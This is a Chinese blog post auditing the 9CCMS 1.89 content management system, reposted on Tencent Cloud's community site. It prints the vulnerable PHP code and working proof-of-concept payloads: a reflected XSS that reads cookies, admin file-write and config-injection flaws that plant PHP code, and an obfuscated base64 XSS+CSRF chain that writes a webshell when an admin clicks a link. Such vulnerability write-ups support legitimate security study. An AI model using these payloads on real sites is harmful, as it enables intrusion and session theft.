前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >搞HS的9CCMS代码审计小结

搞HS的9CCMS代码审计小结

作者头像
潇湘信安
发布2021-03-10 15:12:39
1.3K0
发布2021-03-10 15:12:39
举报
文章被收录于专栏:潇湘信安潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

今天在“搞基大队”的群里看到@六八表哥发的这篇9CCMS代码审计笔记,审计的版本为1.89,经六表哥同意转发至该公众号,该文章比较适合新手学习。

这套CMS程序主要被用于搭建一些违F的Sex影视站,类似的程序还有辣椒CMS,在以前的案例中也搞过一次《记一次因“打码”不严的渗透测试》。

0x02 漏洞点1:前台反射XSS

文件位于:static/home/videojs/index.php

代码语言:javascript
复制
<script type="text/javascript">

var vPath = '<?php include('../../../Php/Public/Helper.php'); echo safeRequest($_GET['Play']);?>';

var logo = '';
var myVideo=initVideo({
      id:'myVideo',
      url:vPath,
      ad:{
          pre:{
               url:'',
               link:'',
               },
      },
      logo:{
         url:'logo.png',
         width:'100px'
         },
      });
</script>

跟进saferequest只对反斜杠与<>进行了处理,而该xss本身就在script标签中,所以只需要截断标签,即可触发XSS

代码语言:javascript
复制
<?php
function safeRequest($data){
    $data = stripslashes($data); // 刪除反斜杠
    $data = htmlspecialchars($data); //把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:
    return $data;
}
?>

payload:

代码语言:javascript
复制
http://192.168.18.131/static/home/videojs/index.php?Play=%27;alert(document.cookie);%27
图片
图片

0x03 漏洞点2:后台广告添加文件写入

在后台php/admin/home/ad/adjs.php文件中,未对传递进来的数据进行过滤,并且直接写到了AdminAdJs.php文件中,可直接getshell。

代码语言:javascript
复制
<?php

$postAdJs = $_POST['AdJs'];
if (isset($_POST['submit']) && isset($postAdJs)) {
$file = fopen("../JCSQL/Admin/Ad/AdminAdJs.php","w");
fwrite($file,$postAdJs);
fclose($file);  
?>
图片
图片
图片
图片

0x04 漏洞点3:密码修改文件写入

除了第5行做了html实体编码,和删除反斜杠以外,未作任何安全处理,直接写入php文件中,这里也可以直接拿shell

代码语言:javascript
复制
<?php

if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password'])  && isset($_POST['ippass']) ) {
function post_input($data){$data = stripslashes($data);$data = htmlspecialchars($data);return $data;}
$username = post_input($_POST["username"]);
$password = post_input($_POST["password"]);  
$ippass = post_input($_POST["ippass"]);
  $str = '';
  $str .= '<?php';
  $str .= "\n";
  $str .= '//后台密码';
  $str .= "\n";
  $str .= 'define(\'USERNAME\', \''.$username.'\');';
  $str .= "\n";
  $str .= 'define(\'PASSWORD\', \''.$password.'\');';
  $str .= "\n";
  $str .= 'define(\'IPPASS\', \''.$ippass.'\');';
  $str .= "\n";  
  $str .= '?>';
  $ff = fopen("../JCSQL/Admin/Security/AdminUser.php",'w+');
  fwrite($ff,$str);
?>

payload:

代码语言:javascript
复制
9ccms');phpinfo();//(
图片
图片
图片
图片

0x05 后台所有请求都未添加CSRF token

组合拳:前台XSS+CSRF+文件写入

并且由于没有添加csrf token所以可以直接结合XSS进行攻击,payload如下,管理员点击该链接即可写入webshell。

payload:

代码语言:javascript
复制
http://192.168.18.131/static/home/videojs/index.php?Play=';eval(atob('dmFyIGh0dHBSZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cmh0dHBSZXF1ZXN0Lm9wZW4oJ1BPU1QnLCAnaHR0cDovLzE5Mi4xNjguMTguMTMxL2FkbWlueC8%2fUGhwPUhvbWUvQWQvQWRKcycsIHRydWUpOyAKaHR0cFJlcXVlc3Quc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7Cmh0dHBSZXF1ZXN0LnNlbmQoJ0FkSnM9MTIzJTNDJTNGcGhwK3BocGluZm8lMjglMjklM0IlM0YlM0Umc3VibWl0PScpOwpodHRwUmVxdWVzdC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICBpZiAoaHR0cFJlcXVlc3QucmVhZHlTdGF0ZSA9PSA0ICYmIGh0dHBSZXF1ZXN0LnN0YXR1cyA9PSAyMDApIHsKICAgICAgICB2YXIganNvbiA9IGh0dHBSZXF1ZXN0LnJlc3BvbnNlVGV4dDsKICAgICAgICBjb25zb2xlLmxvZyhqc29uKTsKICAgIH0KfTs%3D'));'

其它:

前台由于基本没啥交互,所以除了XSS没审出什么洞,后台基本上到处是洞,一个很垃圾的CMS

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-03-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • payload:
  • payload:
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档